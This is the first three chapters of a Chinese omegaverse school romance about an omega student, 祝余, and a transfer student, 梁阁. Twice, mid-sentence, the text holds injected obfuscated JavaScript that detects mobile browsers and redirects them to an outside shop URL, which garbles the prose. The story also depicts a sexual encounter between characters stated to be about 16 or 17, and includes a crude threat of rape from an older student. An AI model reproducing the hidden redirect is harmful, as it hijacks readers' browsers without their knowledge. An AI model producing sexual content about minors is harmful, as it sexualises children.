《隆冬来信》 1. 第一章 四月还没开始热,清早的天阴蒙蒙的,积着深灰色的云层,祝余下了车走进学校。 起得太晚,司机来不及再带他绕路去买麻糍,他只得买了份滑蛋芝士三明治草草应付早餐,芝士放得太多,咸腻得让人反胃。 夜里下过雨,地面水迹未干,祝余踩着落叶拐进校园支路,几只灰雀扑棱着从地面飞上藤墙,三四个做扫除的低年级生正拿着清洁用具互相追逐,周围变得宽阔而吵闹。 祝余快步走着,上周六他发情期还没结束,打了针高等级抑制剂又贴了两个抑制贴,强撑着赶到S区,却扑了个空,这让他整个假期,也可能接下来一整个月都心情阴霾。 好烦。 三明治难吃到无法入口,他握着准备扔进下一个路过的垃圾桶,随手掏出手机,刚一划开,社交软件的对话框直接跳出来。对面从昨晚8点到今天早上给他发了将近70条新消息,满屏都是“宝贝”。 祝余冷眼快速扫过。 “宝贝,叫你宝贝好不好?” “怎么都不回,宝贝睡觉了?” “好想你,宝贝,想接你上学。” …… 轻浮,自大,愚蠢,是发情的野狗,这就是他对男性alpha的群体印象。 劣等生物,看见就烦。 追逐的低年级生们闹得兴起,玩笑地将手里的东西投出去,没击中目标,倒朝不妙的地方去了,“诶——” 祝余闻声从手机屏幕里抬起头,就见一根清洁用具直直朝自己掷来,他本能地偏过头后退,不妨神正好撞上后面的行人,不稳地仰倒了一下,被人伸手扶住。 不好再避,祝余心中一片哀默,要被竹梢扫脸了,倒霉透顶。 他感觉到身后人抬起右手虚虚拢在他侧脸,左手飞快地将飞来的物什挥开了,清洁用具落地时发出清脆的坠响。祝余被半揽着,闻到一阵难以名状的幽微气息,似温还寒,若即若离。 他迟疑地愣了一愣,才回过头去,目光触到身后人脸庞的那刻,瞳仁里的光亮波纹一样散开。 男生和他对视一秒,又垂下来,视线从他手机屏幕上浅浅掠过,看着落在地上沾了灰的三明治,“掉了。” 只说了这一句,就松开祝余,礼节性地点点头,绕开他过去了,和他同行的几人也一并过去了。 闯祸的低年级生们慌忙跑过来,被其中一人惩戒性地拍了下脑袋,低年级们垂头耷脑地立在路边,等他们走了,又一窝蜂涌到祝余跟前道歉,“对不起学长!”“我们不是故意的。”“三明治我们重新给你买一个……” 祝余怔怔站了半晌,他神思不属地进到教室,才如梦初醒般抬起手机——他刚才是不是,看到了? 祝余就读于一所流水线般批量生产医生、律师、银行家、政客的学校,学校里却仍然不可避免地会存在不少渣滓,蠢货,以及混日子的闲人。 他很烦一些公选课,尤其是几个年级混选的公选课,随机分组布置小组作业的时候,总有高年级组员“倚老卖老”以升学为由推脱,敷衍,只想坐享其成。 没时间做小组作业,倒有空闲顺着群聊私敲祝余,一晚上第六次收到消息提醒,祝余终于笑了一声,推开电脑,眼底有点薄薄的冷色,“有事吗,学长?” 祝余并不怎么搭理他,很久才回一句,懒洋洋的,半是作弄半是讥诮,吊着玩儿。 那边却兴奋得要命,一分钟最少输出十条,隔着屏幕都能感觉到对面灼热的视线和粗热的喘息,高涨的求偶欲让他无时无刻不向祝余展示他身为alpha出众的体力、才学以及对omega设身处地的群体关怀。 祝余对他的求偶表演毫无兴趣,耐心在昨晚对面自觉自主地交了小组作业后正式告罄,再没睬过。 回到座位上,新消息还在不停过来,亲密的露骨的狎昵的,手肘抵在课桌上,祝余捧着手机漫不经心地打字,“你为什么叫我宝贝啊?” 然后揿灭屏幕,倒扣手机,懒得再搭理。 教室里人不太多,只后边有几个人聚在一起小声而兴奋地交谈着,祝余支着脸出神地望着窗外。期间林松松似乎来过,进献了一份麻糍,换走了祝余的生物作业,并忸怩而絮叨地说了半天自己和暧昧对象的林林总总。 等到林松松走了,祝余忽然转过去,问道,“你们在说谁?” 说话的几人似乎没想到他会冷不丁发问,懵了几秒才回答。 “梁阁,梁阁你知道吗?” “你前些天请假了应该不清楚,是中央军校转来的alpha。” “不知道为什么转过来,但是很帅哦!他经常在那栋楼三楼的休息室,有时候不拉窗帘的话可以看到……” 祝余点点头,冷淡地,不甚在意的样子,“是吗?没有听过。” 第三节课又是公选课,阴云已经放晴了,天光很盛。公选课的大教室很吵闹,来往都是人声,祝余兀自坐在窗边,撑着头翻看一本药理学书籍,倏尔在鼓噪的人声中听到一声低而清晰的,“是这里吗?” 像细小的电流蹿过脊椎,祝余几乎是不自控地坐直了,欲盖弥彰般低头握着笔用力地在书页上写着字。教室里充满噪音,可他能精准地分辨出那个声音在朝哪里移动,发出了哪些的声响,最终隔着一条过道,在他斜后方两个位置落座。 过了四五分钟,还没上课,嘈杂仍在继续。祝余握着笔,慢慢地,仿佛卸了力般伏在了课桌上,视线悄悄顺着笔杆往上攀移,真切地瞥见那个微笑着和人说话的侧脸。 只两三秒,就收回了视线,他转到另一边去,朝着窗格趴着,有风徐徐拂进来,吹到他蒸热的脸上。 真的耶。 周日当天,祝余去荔山校区参加医学院面试。通常来说,每年报考医学院的人数会比其他学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084462|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多十倍,因此所有报考人需要参加面试,而顶尖的医学院要求十一年级就确定志愿,并进行一轮面试。 为了杜绝亚性别歧视,面试材料上不注明学生的亚性别,面试官有三个人,其中一个居然还是祝余父亲的前同事,问的问题也很常规,包括“你为什么想成为一名医生”。 十六七岁对这类问题的答案也无非是“我父亲/母亲是名医生”“医生有较高的社会地位和一份可观的薪酬”“这是一份可以终身学习且充满挑战的工作”诸如此类。 祝余也不能免俗地如此泛泛地回答了这个问题,这也确实是他选择报医学院的原因,他爸爸是个医生,医生的待遇很不错,他自认为足够聪明可以进入最好的医学院并应对工作中的种种。 中间那位女面试官翻动着面试材料,抽空看他一眼,“我以为你会说‘我想治愈癌症’。” 祝余不明所以,“这不是科研人员的工作吗?” 几个面试官都笑了。 祝余从面试室出来时还在思考加上这个虽然过于热切愚蠢但至少能切实表达对医学事业热忱的理由是否会更好,但已经结束了,再想无益,他的面试顺序排得很靠后,结束时其他人差不多已经走光了。 午后两三点光景,刚下过一场锋面雨,空气和地面都很湿润,祝余站在进校主干道的树下等校车,荔山校区和主校区有校车通行,很便利。雨后的荔山校区静谧美丽,枝叶被雨洗成深绿色,头顶的树上开满了不知名的花,空气里漫着种沁凉的芬芳,清爽怡人。 等了半个多小时还没见校车影子,他逐渐开始焦躁,思忖着是否该差遣家里司机来接一趟——他分化的时间太晚,大多数人在14-16岁分化完成,他快17了才开始,分化反应非常剧烈,而且在分化过后很长一段时间发情期都混乱无序,出于安全着想,出行上学都由司机接送。 耳畔传来一阵轻捷的脚步声,有人踩着薄积水从绿坡上的小径下来,愈来愈近,停在离他两米外的另一棵树下。 祝余咽部无意识地收紧了,又开始下雨,是极小极小的,像雾一样的细雨,视野都变得朦胧,他的余光悄然往身侧投去,梁阁穿着熨得很干净笔挺的校服白衬衫,下摆收进黑色长裤里,领带松松地系着,半低着头在看手机。 祝余收回眼神,垂在身侧的指尖难耐地弯了弯——他忽然有些后悔,没有穿自己最好看的衣服。 四下寂静,只间或有雨从叶面上“叮咚”滴进水洼里,他在细雨中仰起脸,世界清晰得仿佛纤毫毕现,坠下来的雨丝都变成了斑斓的彩色,落雨声明亮活泼得像首欢快的乐曲。 一阵大风吹过来,树冠拂拂摇动,枝叶上的花像雨一样打下来,花和雨顿时狼狈地淋了人一身,校车也在这场花雨里慢吞吞地来了。 祝余真想问问他。 校车是不是也喜欢你啊?不然怎么你一来,校车就来了。 2. 第二章 上午有节社会科学课,课上老师讲到“羊群效应”,在展示几个经典实验和案例之前,随机点了不少学生提问“大家都喜欢的,你会喜欢吗?”“大家都同意的,你会同意吗?”,有人答会,有人答不会,也有人说依情况而定,莫衷一是。 然后就点到祝余,“你会喜欢大家都喜欢的人吗?” 祝余向来眼高于顶,给人的一贯印象就是特立独行的傲慢优等生,众人看着他直起身,几乎一致认定他的回答会是“不”。 祝余手撑在课桌上,似乎定神思虑了几秒,抬起头来,“我喜欢大家都喜欢的人喜欢我。” 这个拗口的答案让教室静了几秒后大肆起哄,老师也稍有意外地笑了笑,摆摆手示意他坐下,在起哄中提高声量继续讲课,“那如果进到一个电梯,你发现里面的人都背对着你,你会怎么做?” …… 十点过半,太阳才驱开早雾洒下些光辉来,有一点刺眼的亮堂,拿着书穿过廊道回教室的路上,祝余被人拦住了。 来人是个高大的男性alpha,穿着十二年级的制服,饶是如此,祝余也没想起这人是谁。他也不关心,神色很淡,只是轻轻蹙了眉,就要绕过去,又被伸手拦住。 对方明显来者不善,情绪压抑着却仍然盛怒,一副问罪的架势,身子压过来,紧迫地盯住他,“你为什么不回我消息?” 祝余眼珠无神地从这人面孔掠过,终于从回忆的犄角旮旯里拾起了这个无关紧要的小角色,公选课小组作业的那个高年级生。 他真不懂这人怎么好意思来堵他,要是来感谢他让他按时高效地完成了小组作业,那还算合理。 高年级alpha备考期繁冗无趣,闲得发慌,公选课上被这个早有耳闻的优等生omega狠狠闪了下眼睛,没想到机缘巧合分在一组,借了些便利很快和人聊上了,本想撩着玩玩充当备考期的调剂。 但祝余实在很会玩一些文字暧昧,堪称高明,尤其擅用一些语气词,当然也可能并不是那些语气词原本有多暧昧,只是一联想到祝余这张冷冰冰的漂亮脸蛋发出那些音节,就格外地叫人躁动难耐。 他于是疯狂上头,将重要的备考都抛之脑后,为了让祝余多回消息,甚至反复地修改和订正不值一提的小组作业。聊了几天,他俨然认定祝余是他的囊中之物了,志得意满到整晚都目不交睫。 那么傲慢漂亮的omega,全校人尽皆知李沛巴巴跟在他后头追了快两年,可他不声不响,简直不费吹灰之力就把人勾到了手,叫他怎么能不得意? 结果呢? 纯粹耍着他玩。他恨得切齿,眼里都透出些狠意来,“你玩我啊?” 祝余侧过脸看着别处,无动于衷,仿佛事不关己。 这种漠视无疑再次激怒了心火未平的alpha,他朝祝余凑近一步,咬着牙说,“你知不知道我是alpha?” 凑近的瞬间,alpha的信息素猛然释放,只很短的一瞬间,学校的信息素监测系统都没能检测到,但alpha刺鼻的信息素却在极小的范围内铺天盖地地朝祝余倾轧过来。 这都不能说是挑衅了,是alpha对omega明晃晃的霸凌。 祝余应激之下右手迅速成拳,陡然想起什么,往旁边那栋楼看去,攥起的手又松开了,掀起眼皮睇了alpha一眼,他眼睛有一点点内眦,眼皮薄薄的,不带温度看人的时候有种异常凌厉的妩媚。 alpha被他眼神一扫,立刻绷紧几分,他心里大骂自己下贱,饶是这种时候,还是觉得这个玩弄人心的家伙真是该死的漂亮。 就神游了那么分秒不到,祝余背过身就跑了。他人高,一米八出头,不说omega,在beta里也是足够得意的身量,奔跑起来轻敏而矫捷,他风一样奔进隔壁那栋楼里,又一径跑到三楼。 到了三楼他速度渐渐慢下来,体力不支了似的,停在了某间休息室前。走廊上alpha追赶的脚步声越来越近,祝余背靠着一张休息室的门,仰起头轻轻地喘,指尖一点点摩挲着身后的门板。 他在吗?他现在会在这里的吗? alpha一时不察让他逃开,原以为他会趁机朝人群跑去,谁想竟窜进这栋更为僻静的楼里,可见这个优等生脑子也不如何聪明。 他带着些胜利者的昂扬闲庭信步地走到祝余眼前,见他倚着休息室门,校服衬衫有些发皱,黑黑的睫毛低覆着,连同眼底那些冷漠锋利的情绪一并掩住,居然显出几分迷惑人的无助来,像个任人摆布的漂亮人偶。 他轻易被祝余的弱势取悦,“跑啊,再跑啊,现在知道怕了?”又笑出一声,“还敢耍着人玩吗?” 说到恼处,暴起一脚蹬在休息室的门上,巨响。 他再度逼近,和祝余的距离不到十公分,脸逆着光隐在阴影里,“我告诉你,别太把自己当个东西,你这种分化成omega就自以为能靠着信息素玩弄alpha的我见多了,你也不过是更漂亮一点。要真把我逼急了,你信不信我现在就搞你?咬着你腺体c烂你生殖腔,你一辈子给我当烂货……” 祝余阴翳地抬起眼的瞬间,休息室的门被拉开了,有人站在了他身后。祝余的心咚咚撞响着,极度紧张又极度期盼地,身体都几不可见地颤抖起来。 梁阁站在祝余身后,高高的,似乎刚睡醒,稍稍低着眼看着眼前的alpha,“有事吗?” 他没有站直,嘴唇差不多到祝余耳朵,说话的时候,气息会轻轻搔过祝余的耳廓。 高年级alpha显然没预料到这间休息室里会有人,气焰顷刻灭了,眼神变得虚怯而躲闪,他嘴唇张合胡乱地解释了几句什么,就悻悻地落跑了。 他倒不仅仅威慑于梁阁,也是他用于恐吓和报复的口嗨被第三人听到,难免惊惶无措,挂不住脸面,又怕报告上去引起更大的追责,情急之下逃离现场。 走廊上静悄悄的,风吹响楼外的榉树,祝余半偏过脸,朝身后投去一瞥。 梁阁站在那里,他真的才刚睡醒,眼神都还没完全清明,困倦的,反应都迟缓不少,看清祝余的脸时他明显怔愕了一秒,又很快隐去,转成一个斯文得体的笑,正要出声说什么。 祝余蓦地回过头去,背对着他,轻飘飘说了个,“谢了。” 然后直接走了。 回家的车上,司机从内视镜里窥见祝余右手一直紧紧摁在腹部,“肚子不舒服?” 祝余松了手,转头去看车窗外,“没事。” 生z腔好热。 清早课间,祝余恹恹伏在课桌上。 他的意志力只支撑到昨天回家,一进家门他就冲进楼上房间,房门刚闭合他就跪下来了,不自控地弓下身去,额头贴住了冰冷的地板,他哆嗦着解开裤子,情/潮山火般绵延,他几乎以为又是一次fq期,到下半夜才渐渐冷却下去。 眼前的课桌上忽然落了个塑料袋,祝余抬起头,对上一张灿烂到过头的笑脸。林松松来了,又给他进献了一份麻糍,虽然在家吃过早餐,但祝余还是赏脸受了这份进贡。 林松松手肘压在他桌上,两条腿闲不住似的荡来晃去,看着他有一口没一口地吃麻糍,笑眯眯阔气地说,“我以后都不早读了,早晚都去麻糍店打工,你想吃什么麻糍,我每天都给你拿!” “你不是在工地打零工吗?” 夜间零工,下午六点到11点,累但时薪高。 “是啊,但是工地完工了,而且……”他有些羞赧地挠挠头,“郁仪说那样不好,影响生长的,但我不是听他的话喔!我就是怕影响生长,我可是要长到一八五的……” 祝余早就说过,这个学校存在着不少渣滓、蠢货和闲人,如果那个高年级alpha是半个渣滓半个闲人,那林松松就是蠢货,究极的蠢货。 他是个孤儿,由于受到社会捐助和考试时超乎想象的狗屎运进到这所学校,遭受过校园暴力,性格乐天,健气,蠢——蠢到跑步能平地摔,下楼能打滚摔,骑车能直直冲着人摔,由于接连三次跑步、下楼、骑车摔到了同一个身上——当事人第三次被“碰瓷”后拎起林松松的后领,阴着脸问,“你他妈故意的吧林松松?” 当事人郁仪,本校众口相传的名门alpha,仅从家世,外表、成绩来看确实如此,但此人外貌极盛,性格奇烂,多烂呢?要祝余来评的话,他本人和郁仪近似同一种烂。 如出一辙地冷漠,傲慢,目中无人。 但无论如何,“碰瓷”与“被碰瓷”的双方都已经经过一系列鸡飞狗跳的针锋相对和阴差阳错正式进入了漫长而黏/腻的暧昧期。单看性格和相处模式,活脱脱是市面上经久不衰的冷漠霸道a和他的笨蛋小o妻模板,唯一的出入可能就在于林松松是个beta。 一个精力旺盛,麦色皮肤,被嘲笑时就算鼻青脸肿也要用拳头回击,体质堪比超级赛亚人的beta。 不过现在AB恋也很流行,毕竟beta是世界的大多数,不仅现实中,各种影视,文学,漫画里ab,bb,bo作品的数量也很多,因为亚性别是beta的创作者很多,而需要被制造幻想来满足的beta消费者也很多。 市场决定资源配置。 正吃着麻糍荒腔走板地神游着,走廊外突然传来一声清亮带笑的“老婆!” 满教室的注意力都被引过去,林松松也跟着看过去,然后就傻笑着乐了,“哈哈。” 祝余不用看也知道是谁,他早就警告过李沛不准这样叫他!烦躁地攥紧了笔,他眼神阴沉地瞪过去,透过窗户,果然看到教室走廊外李沛在活蹦乱跳地朝他挥手,笑眉笑眼,神气活现。 他怫然又厌烦,眼风不期然往旁边偏了几寸,就看到了走在李沛身边和他一同望过来的梁阁。 眼神交错的刹那地球在祝余脑子里轰然爆炸,他瞳孔急缩,向来冷淡无波的脸上甚至出现了0.01秒的卡壳,而后他勉力维持着那种冷漠的高傲扭回了头,手中的笔几乎要被攥断。 妈的,李沛! 偏偏这个时候,偏偏当着他。 不过李沛是梁阁表弟,他早就知道的,而且关系非常亲近密切,跟亲弟弟也差不离了。 梁阁甚至叫他,沛沛。 梁阁收回眼神,继续平静地穿过走廊,李沛连忙猫着身追上来,笑嘻嘻地,像个炫耀的小孩子,仰头雀跃地望着他,“哥!你看见了吗?好看吧?是不是特漂亮?” 他有心要向哥哥介绍自己心仪的omega,要不是上周被遣回家去,今天才过禁闭期,他本应早早就让哥哥见见的。他对自己的眼光很有底气,虽然人暂时还没追到,但他已经认定了,这就是他的人,谁也抢不走。 可惜梁阁低头笑着看他,“没看到。” 李沛顿时失望地站直了,发出一声不满的“啊”,恨不能拽着人踅回去再走一遭。 “上周见过啊,就校门口那,几个低年级小孩儿差点砸着人,你还搂人家一下。”落后两步的沈释玩着手机悠哉提醒。 梁阁似乎凝神想了想,还是说,“不记得了。” 李沛大失所望,嘟囔着抱怨不休,“哥,你怎么这都能忘?!这么漂亮的人,见一回就该记得清清楚楚了吧……” 梁阁笑着,低低地说,“是啊。” 自从李沛吆喝完那声后,祝余再没和梁阁打过照面,梁阁并不常来学校,有时候就算来了也只待在休息室,连李沛出现的频次都有所降低,先前他可是巴不得时时绕着祝余转的。 校园生活平淡乏味到焦躁,夏天临近,日光越来越亮,教室里有人在讨论最近的大热剧集,“就为了提高生育率,上面现在都不让拍AA剧了。” “不让拍挺好,尽是些歪瓜裂枣。而且一个B他干嘛去演A啊,装腔作势的,难看死了。” “我也不喜欢,可我不喜欢也并不代表我需要这个东西从此消失,凭什么就一刀切啊?度在哪里?对了!我新看了个BA剧,x国的,超好看!b是理智的学霸美人,a是个信息素乱飞的种马帅哥,a有什么“信息素暴动症”,发病就得吃药或者搞o……” 一根笔被夹在祝余食指和中指之间左右摇摆,他撑着脸眼神有意无意地往休息室的窗格瞟,玻璃被窗帘覆盖着,严严实实,透不出丁点儿情状,像一个“禁止通行”的无情路标。 无论是这些年大火的影视剧还是祝余常看的漫画们,都会有一些仅存于主角两人之间的用于催生爱情的“疑难杂症”,这就是大多数故事开始的契机。毕竟abo社会,六个性别,有些疑难杂症也是理所当然。 祝余没有任何疑难杂症。 祝余很不爽。 午后的体育课,祝余选的是网球,打了两场后站在场边喝水,李沛正巧在旁边的篮球场上课,隔着铁丝网格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084463|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上蹿下跳地呼唤他,祝余握着水瓶看了眼,继续仰头喝水,出了层薄薄的汗。 就站了两分钟不到,网球老师见有人得空就过来遣他去取个东西。祝余面无表情,他向来不乐意付出不必要的额外劳动,何况是这种毫无意义的跑腿,任网球老师聒噪地指划,“就那栋楼,E栋四楼,你帮老师去取新的课时训练册来。” 祝余望了一眼,稍顿,说,“哦,好啊。” 他控制着步速往那栋楼走,尽量让自己看起来不紧不慢,E栋楼下的矮墙上盛着一瀑藤萝,淡紫色,开得很满,沿着红砖攀了满墙。他踩着楼梯拾级而上,到三楼的时候利落转弯,踏上三楼的走廊。 走到一半才故作恍然般自言自语道,“啊,这层是三楼,怎么走错了?”又扬声自我排遣,“算了,到那边楼梯再上去好了。” 我可不是故意来这里的,我就是走错了楼层,嗯,没错,他想。 他继续往里走着,离那间休息室愈近,不自禁冒出一股隐秘的躁动与怦然。休息室门窗都闭着,沉寂而无声息,整个三楼都没有任何动静。祝余心口砰砰,他竭力稳住呼吸,目不斜视,从容轻盈地走过休息室,只经过那扇门的时候,他忽然伸出食指推了一下。 他也说不清为什么,可能是直接走了不甘心,也可能只是潜意识想触摸,又或许真就是鬼使神差。 推完他才意识到自己推了,就算周围没有人,可为了让这个举动不显得突兀,他也决定接下来路过所有的休息室都这样推一下门,好像只是人无聊时的消遣。 可门就这么开了,锁芯从锁栓里脱出来,四月的春光泼进休息室里。 祝余失措地立在门口,都来不及思考是探看还是逃跑,休息室里半明半昧,浓烈的,失控的,alpha信息素像轮巨浪般遮天蔽日地朝他掀过来,比那时高年级alpha用于恐吓他的信息素要强烈百倍不止,他眼前一黑,几乎当场就要跪下去。 他听到一声戒备的低斥,“出去!” 祝余扶着门框抬起头,看清了这个昏暗的休息室,是个设施完善的单间,看上去更趋近于隔离室,但现在满室狼藉。梁阁曲起一条腿靠着床沿坐在地上,衬衫凌乱,领带被扯开扔在地上,颈侧布着几道明显的指甲刮出的红痕,不再那么滴水不漏,眼里有一览无余的惊惶。 他显然也没想到门没锁,或者说会被人推开。 被alpha信息素充盈的暗室像片诡秘而阴湿的沼泽地,一旦踏入,立即吞吃干净。祝余定了定,踉跄地走了进去,“你怎么了?” 梁阁更没料到他会进来,仓皇捂住后颈的腺体,眼珠黑沉沉地警视着他,“不要过来。” 但并不奏效,祝余一步一步蹒跚地走到了他面前,逆着光并不很平稳地站着,手腕上的抑制环发出信息素浓度过载的警示声,休闲室的门慢慢在合拢,房间里明亮的光束一点点收窄。 感应门自动合拢的瞬间,祝余脱力地跪坐在地上。 他眼中意识已经不太清明,狭暗空间内汹涌泛滥的alpha信息素令他生理疼痛,思绪浑浊,加之贸然闯入,紧张得心跳失速,但他看起来那么平淡而又略带轻厌地睨着梁阁,“你易感期吗?” 梁阁像是忍受过什么极大的痛苦,身上的白衬衫都被冷汗浸湿,他半低着头,黑眼珠深窅地凝视着他,良久才闭上眼睛,“不是。” 不是?怎么可能不是? 祝余昏昏聩聩,休息室左冲右突的alpha信息素浓稠得呛人,像走了火。他难以形容梁阁信息素的气味,是微温的,像点燃的木材,火烧火燎地散着,吸进肺里却又是沁凉的,有种幽远的纯净感,极冷,回韵间会感到鼻息周围的空气都像是低了几分。 但屋子里的温度还是在节节攀升,祝余不知道这种热是由于他感官被信息素牵动,还是alpha信息素本就有此效用,像被丢进火里,又像一群热蚁在将他啮食。他又热又痛,像颗被捏烂的橘子,那种被重压重挤,骨骼易位皮肤皲裂的疼痛,他不自禁要蜷成一团。 好热,好痛,好想…… 等他再次强撑着抬起头时,眼里已经完全失焦了,脑子里混沌一片,受到本能驱使一点点朝梁阁靠近。 梁阁嗅到空气中白茶花浓烈到甜蜜的馥郁,和他的信息素交织在一起,像一把野火烧着了山茶花园。 要乱套了。 …… 休息室门外有了动静,应该是开门时走廊上的信息素监测系统自动上报了,梁阁当机立断伸手捂住祝余的嘴,外面围着好几位匆匆赶来的领导和保健室老师,敲门悉心问询梁阁的情况。 梁阁紧紧捂着祝余的嘴,语调平静地和外面交涉,“没事,感应门故障开了一次。” “嗯,我没有异样。” …… 梁阁游弋在他腰间的手悄然移到祝余后颈,指尖摸上omega凸起的腺体,祝余茫然地睁大了眼睛,眼前茫茫一片,身子紧绷着,两腿紧紧并在一起。 梁阁额头抵在他发顶,贴在他耳边说,温柔地,“很快就好。” 他捏住腺体轻轻一提,祝余上仰着颈子,手背青筋泛出,一个剧烈的哆嗦。 校园被笼罩在一片金色的夕照里,春夏之交,处处温暖而馥郁。 一上完体育课,李沛就带着人风风火火地去休息室门外候他哥,喊了半天门也没见动静,好一会儿他哥才出来,似乎刚冲过澡,头发还是湿的。 他们一行人从E栋出来,正好看见祝余从对面楼下来,他穿着春季的衬衫西裤,身形挺拔而修长,脸上是一贯的冷淡,但细看就能发现袖长和裤腿都并不合身。 李沛眼里绽出光彩,他显然很为这样的偶遇而惊喜,卖力地挥手示意,“祝祝!祝祝!” 祝余漠然地直视前方,全然不搭理,一伙人都哄闹着嘲笑李沛“就硬舔”。 直到两边人交错而过,祝余忽地侧过半张脸来,梁阁不期然对上他锋利清透的眼睛,乌眉红唇,说不出的标致风情。只很短的一秒,祝余就收回眼神,又那么高傲昂昂地走了,任凭李沛怎么叫唤,也再没回头。 空气中有淡淡的白茶花清幽的气息,李沛又凑在他耳边叽叽喳喳,兴奋而得意,“这次看清了吧哥?他是我们学校公认最漂亮的omega!怎么样?漂亮吧?” 梁阁摩挲着手心,那股湿黏仿佛还残留在皮肤表面,“漂亮。” 3. 第三章(上) 夜风温柔,庭院清净无人,祝余伏在二楼阳台的栏杆上和人打电话,右脚脚尖点地摇摇摆摆,心情算得上愉快。 电话那头的夏霓正要准备拍摄,任由化妆师在脸上精描细绘,边做造型边分出心神来听他说话。直到祝余话落,她端详着自己的指甲,沉吟片刻后做出论断,“什么意思,你喜欢他?” 夏霓是祝余唯一算得上亲近的同龄人,他的发小,一个乖张叛逆且第六感超强的女alpha,在做模特。 祝余矢口否认,“当然不是!我就是玩玩而已,你不觉得很有趣吗?” 夏霓显然不觉得有趣,“我没记错的话,你下个学年就要升学考了。” “我不觉得升学考对我来说是什么难事。” “所以你游刃有余到需要玩弄一个alpha来打发时间?” 祝余顿了顿,说,“没错。” “ok,玩得开心。”又嘱咐,“别让叔叔知道。” 祝余挂了电话,忍不住像小孩子一样蹦到床上,双手摊开,他眼珠明亮地望着天花板,今天为什么要给夏霓打电话呢? 他只是想告诉这个世界,哪怕只一个人也可以。 我即将对梁阁展开一些攻势,但我可不是为了追求他,我就是玩弄他,但要是在玩弄的过程中他喜欢上了我,并对我死缠烂打、死心塌地、矢志不渝,死活要我成为他的伴侣不可,那我也没办法,只好和他在一起了。 这让他觉得安全,师出有名,且无损他的骄傲。 他伸手将床头换下的梁阁的校服扯过来,搂在怀里低头嗅了嗅,这套衣服梁阁应该没怎么穿过,衣料上淡得几乎没有他的味道。 他想起今天在休息室,等平静下来,两个人都已经不成样子,皱巴巴,乱糟糟。 祝余脸上情欲的红潮还未褪净,当即冷下脸,全然是一个被牵连的受害者模样,质问追究的口吻,“你为什么不关好门?” 梁阁解衬衣扣子的手停住,回过头看着他,眼神停留的时间有点长,祝余竟一时有些心虚,然后就听到他语气低缓地说,“我很抱歉。” 祝余匆匆撇开视线,无所谓地说,“不过这也没什么,互帮互助而已,很普通。” 这口气,像是已这样帮助过许多人。 梁阁没说什么,脱下了被汗湿的校服衬衫,赤着上身回过头问他,“你要不要先洗澡。”他笑着,很周到温柔,“不介意的话,我有备用的校服。” 等梁阁再冲完澡出来,祝余正一脸不豫地站在房间里,休息室外李沛一伙人正在喊门,十分吵闹。 梁阁捡起床上的手机看了眼时间和消息,手下利落地系好领带,对祝余说,“那我先出去。” 等他们走了,祝余再出来。 他从祝余身侧经过走到门前,触到门把,又回过头来,看着祝余再一次说,很真挚沉静,“我很抱歉。” 翌日第一节课是生物课。 又是大教室的公选课,生物老师是个秀气娴静的年轻女omega,她刚一提完问,两个人同时起身。 底下有人窃窃私语,“好夸张,今天第四次了吧,他平常都不主动回答问题的……” 生物课堂上的提问不需要举手,学生起身就可以直接分享自己的回答,但遇到几个人同时起来的情况,老师会协调前后顺序,或者同学间相互谦让。但祝余全然不顾,站起身直接就说答案,他口条清晰,逻辑优秀,没有任何卡顿和疏漏,从容而自我地将答案朗朗说出。 所有人都沉默,只有林松松热烈鼓掌。 生物老师参加工作的时间尚且短暂,还未见识过如此我行我素的学生,结舌了两秒,“……回答得非常好,另一位同学还有补充吗?” 另一位起身的男生哽着脖子,不甘地坐下去了,生物老师走向讲台,“第一位同学的答案非常优秀,他一共提到五点,其中有一点是我都没有归纳到答案里的……” 教室里同学们纷纷朝祝余望过来,祝余平淡地低头看课本,余光悄然往后排投去——梁阁正支着脸出神地望着窗外榉树蓊郁的枝叶。 这个人怎么回事?这个教室里有个人优秀到一节课完美回答了四次问题,他不看,他去看外面的树叶! 这个城市,这个国家,这个星球最出色的omega就坐在这个教室里,他去看外面的树叶! 很好,你成功引起了我的注意,没品的东西。 恼得呼吸都重了几分,他握着笔重重在纸页上写着字,再懒得站起来回答那些蠢问题。直到快下课,生物老师开始安排下次课外实验的小组,“小组是我随机分配的,有异议可以课后来找我,第一组……” “第五组,祝余,莫屏兰……梁阁。” 祝余耳边有一阵遽然而至的白噪音。 生物老师抬头,“梁阁是新同学吧?” 后排的梁阁起身,优柔有礼地低头向她问候。 生物老师笑着说,“欢迎你。” 铃声响了,教室里又变得杂沓吵闹,说笑结伴小组分配,四处是走动的人。 嘈杂间,有只手撑在了祝余课桌的边缘,骨节分明,祝余不经意抬起头来,就对上梁阁笑意清淡的眼睛,“没想到可以和你一组。” 祝余全身血液疯狂奔涌起来,牙根咬得发酸,脸上仍然是那副神情,心下冷讽,没想到可以和给你打过手//枪的人分到一组是吧? 梁阁说,“上课一直听你回答问题,好优秀。” 就算半是恭维的场面话,祝余一颗皱巴巴的心也被熨帖得软乎发烫起来。 他很想端架子那么清嗓似的咳一声,掩饰自己满溢的自矜,但终究没有,他只是看了梁阁一眼,对视了大概三秒左右,然后轻轻错开眼神。 其他几个组员也很快聚了过来,梁阁与他们完全陌生,几人开始商量课后如何交流联系,在一个beta女生掏出手机前,祝余率先态度冷淡地将手机递过去,“你加我吧,我来建组。” 